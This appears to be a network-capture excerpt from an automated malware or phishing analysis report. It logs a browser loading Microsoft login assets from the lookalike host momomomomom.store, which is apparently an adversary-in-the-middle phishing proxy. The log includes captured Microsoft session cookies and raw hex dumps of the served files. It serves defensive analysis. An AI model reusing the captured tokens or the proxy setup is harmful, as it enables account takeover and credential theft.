2024-05-07 18:28:49 UTC	2749	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:50 UTC	1392	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:50 GMT Content-Type: application/x-javascript content-length: 113440 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE8E0647 x-ms-request-id: b32c94fe-e01e-0078-4cac-a04f8f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182849Z-1675f5555884sb6j61d2y8hc4c00000005rg000000007tg2 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:50 UTC	14992	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 79 7f db 38 b2 28 fa ff fd 14 b6 a6 c7 11 db b4 2c 6a 97 6d c6 e3 78 e9 64 a6 bb 93 93 a5 e7 cc c8 ea 0c 45 41 12 db 14 29 93 94 97 c4 9e cf fe aa 0a 3b 29 67 39 e7 9e 7b df ef bd cc 34 4d 14 0a 85 42 01 28 14 0a 05 6a ff c7 ed ff b5 f5 e3 d6 de b7 ff db 7a f7 fe e4 ed fb ad d7 17 5b ef 5f be 7a 7b b6 f5 06 52 ff d8 fa f5 f5 fb 57 a7 e7 df 4e 07 2b c5 ff de 2f a2 7c 6b 16 c5 6c 0b fe 4e 82 9c 4d b7 d2 64 2b cd b6 a2 24 4c b3 55 9a 05 05 cb b7 96 f0 cc a2 20 de 9a 65 e9 72 ab 58 b0 ad 55 96 fe c1 c2 22 df 8a a3 bc 80 42 13 16 a7 b7 5b 75 20 97 4d b7 de 04 59 71 bf f5 ea 8d d3 00 fa 0c a8 45 f3 28 81 d2 61 ba ba 87 f7 45 b1 95 a4 45 14 b2 ad 20 99 12 b5 18 12 49 ce b6 d6 c9 94 65 5b b7 8b 28 5c 6c fd 12 85 59 9a a7 b3 62 Data Ascii: y8(,jmxdEA) ;)g9{4M B( jz[_z{RWN+/\|klNMd+$LU erXU"B[u MYqE(aEE Ie[(\lYb
2024-05-07 18:28:50 UTC	1392	IN	Data Raw: 8b 4a 4f 1b 57 89 8c 18 4b 2e 7f 23 4f c5 54 f2 9e c4 9c ea 45 a8 8e 99 55 be 9f 14 ca cc 0d 17 9b 86 32 af 72 6f 69 a8 da 5c be 9d d4 33 32 c4 ec 08 5a 06 cc 16 9d 6a 6b f5 82 52 a8 0a 6d 38 20 2c e7 49 7b a8 5d ce b0 ee 28 a9 ae d8 70 49 89 be 80 21 32 2b 6c 86 3a af d2 bf 9d 72 9e d4 56 4c 66 54 8a b4 ed 1c bb 0b e5 e7 23 f9 bd 9b 0c 2f b6 97 be 90 47 6a d0 bc 16 42 1d 1c 1b 41 e5 d4 a9 b1 0a 21 27 fd 52 b9 a9 e1 29 a8 05 49 8c 9f 1a a1 b5 c5 bc 46 31 e5 00 7d 8d 82 63 18 d7 28 48 d3 9b 57 01 7a 1c 50 32 06 49 04 86 31 c8 09 9b 97 00 38 65 cb 4b 42 fd 87 bb 32 eb 13 13 43 3a cd cf 78 95 8e 78 55 de 46 ba d2 97 ad ec 93 3c b2 47 cc 50 7d 9a fe d5 4b 7f 34 3c ad 50 7b ea 93 8a 31 4a fa c1 08 b5 e7 e5 d4 ba 45 5a d2 4e 66 3c 70 7e cc 5f f5 22 38 94 80 cc Data Ascii: JOWK.#OTEU 2roi\32ZjkR m8 ,I{](pI!2+l:rVLfT#/GjBA !'R)IF1}c(HWzP2I1 8eKB2C:xxUF<GP}K4<P{1JEZNf<p~_"8
2024-05-07 18:28:50 UTC	7698	IN	Data Raw: f7 32 26 6a ea 49 d8 8d 0d 89 c2 2b fb b6 e8 40 82 4b 06 7d e5 de 61 77 76 29 3f 4e 5c b9 54 38 e4 44 8c 9f 2e e1 90 2b 1d ca c8 eb a9 d4 f2 f2 f5 db 5f f9 08 61 84 20 7e 13 e9 8e 1c 45 45 f9 f7 ec 4c e5 da 56 00 2b 1c bc 2d a1 95 40 f1 ae cc b1 a2 c4 89 2f f4 8d 28 83 39 e0 dd 45 30 81 45 db 11 e5 41 b9 23 f5 41 49 f5 81 4b 8e 60 7f ce b5 48 99 3c d0 a0 9d 62 91 ae 26 72 3c b5 69 f3 0a 10 e3 5a b7 c7 21 b2 4e ea f8 8a 71 3e e1 48 25 e3 bc 2b a0 2a f0 23 20 6f 60 91 e6 8a 03 ea 11 eb d0 9c c6 60 16 48 59 f0 af f2 bf 7f 7b 72 76 6e 02 0a cb 65 da 25 d7 90 84 69 57 33 ff 3d a8 6a b4 2d ff f2 c1 c6 60 db 49 c7 c8 51 ce ca d0 00 1a 01 b8 dc 47 b5 39 fe 56 b2 a4 26 6b 97 09 2a ac 44 d5 d8 c9 05 e4 9a 7b 9f 45 2b e3 b7 9e c5 2c 47 a0 c6 13 15 e7 6a ff 34 e5 80 Data Ascii: 2&jI +@K}awv)?N\T8D.+_a ~EELV+-@/(9E0EA#AIK`H<b&r<i Z!Nq>H%+# o``HY{rvn e%iW3=j-`IQG9V&k D{E+,Gj4
2024-05-07 18:28:50 UTC	8686	IN	Data Raw: a7 bd 6f 6d 6e db 58 16 fc be bf 42 62 6c 19 30 40 f1 a1 87 23 92 20 a3 6b 3b bb ae ca b9 71 25 b9 f7 c3 21 69 1e 90 04 49 44 20 c0 00 a4 1e 16 b8 bf 7d bb 7b de 00 28 c9 3e f7 d4 dd da da 54 2c 02 83 79 f6 f4 f4 f4 f4 f4 43 5d 10 64 db 87 88 3c 72 06 f7 db ba 1f 85 cb b8 53 73 30 db 78 6c 8c f1 c0 cd aa b6 0e dc b5 71 a7 6a f4 42 48 fd b1 1b 28 1e 60 97 6b da 08 65 86 94 32 b8 45 68 a9 0a 08 5c ec a0 06 44 b6 bb c2 ad fd d8 3a 44 57 bb 2b 21 11 c2 b3 33 42 cb dd 78 0f 12 5a bd 0d 41 0c cf ce 30 10 40 fa 15 b2 19 30 c0 c7 f7 86 92 fb 7b ae 90 4c ab 9f 2d 8f 95 5c 1e ea db 13 94 9b e5 c1 8e fc 57 2e 86 15 ee 75 4e 1b ef 3c 34 88 4d 93 f9 83 9c 78 7c 51 68 33 05 c4 71 da 80 90 f6 0b 50 6c e5 ae 14 8a cd 8b b8 a5 50 78 fe af c3 ad 81 86 60 a8 69 7a 10 c7 34 Data Ascii: omnXBbl0@# k;q%!iID }{(>T,yC]d<rSs0xlqjBH(`ke2Eh \D:DW+!3BxZ A0@0{L-\W.uN<4Mx\|Qh3qPlPx`iz4
2024-05-07 18:28:50 UTC	3024	IN	Data Raw: 8d c1 54 40 2b 36 a1 05 40 d0 cf 11 6c fc 31 ef 4c ac 8d 3f d4 52 9b df 02 15 48 f1 b8 e9 b7 4c 3b 39 09 fb 15 50 a8 04 a0 18 d6 cb e0 18 da 45 ca 0a a3 37 29 83 d8 cd 0f d1 19 b5 e1 8b a5 5c a6 2c 62 35 96 ae 02 cc 05 a2 33 3f e6 76 3a 1e 3c 9f 45 f2 89 50 39 bb 16 b2 3b 85 b1 d0 4c 96 af f4 bc 26 45 ae ee 96 20 21 11 c7 a0 81 9e 87 4e a2 b9 a2 1d 43 0c 8c 5e e0 6e bd aa 49 d2 cc a7 b6 03 25 ce e9 04 5d 49 ac 30 1a b5 5d ae 2f 06 1c e2 d9 2b ea 75 b7 4e 55 7b 4a 4c c4 70 6e 90 b2 73 97 39 27 78 72 ae de a8 b9 f0 38 cc d8 75 19 9c 47 82 0e 6c 43 28 f4 36 f7 3f e3 0d af 92 66 3e 4e 3e f0 6d e9 d6 aa e0 79 cd 19 0f f0 b0 38 dc d6 5b c4 e4 a6 c1 6d 90 12 db a4 ef 75 76 a7 d0 a4 80 9e 7d 70 eb 6d 9a 15 98 a3 ae 3a 2b 21 27 c9 16 0f a9 44 20 df c5 48 70 a3 81 Data Ascii: T@+6@l1L?RHL;9 PE 7)\,b53?v:<EP9;L&E !NC^nI%]I0]/+uNU{JLpns9'xr8uGlC(6? f>N>my8[muv}pm:+!'D Hp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49788	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:49 UTC	1699	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:49 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:49 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 061dd44c-201e-001c-5590-a0a1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182849Z-1675f555588s5nrx2mx8rav7z8000000059000000000wrnt x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:28:49 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$ UAWUaX `'= \|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\ sfUN B>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49790	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:49 UTC	1708	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:49 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:49 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 5c33c8e8-f01e-0061-0dac-a08cbe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182849Z-1675f555588q8w4rwhzc48020400000004zg00000000wg5w x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:28:49 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9C C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49789	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:49 UTC	1685	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:50 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:49 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 7d1020a7-f01e-004d-4070-9ae994000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182849Z-1675f555588zp6nvq1tfrybz4g00000005zg00000000dbbs x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:28:50 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH (00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-05-07 18:28:50 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49792	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:49 UTC	1696	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; 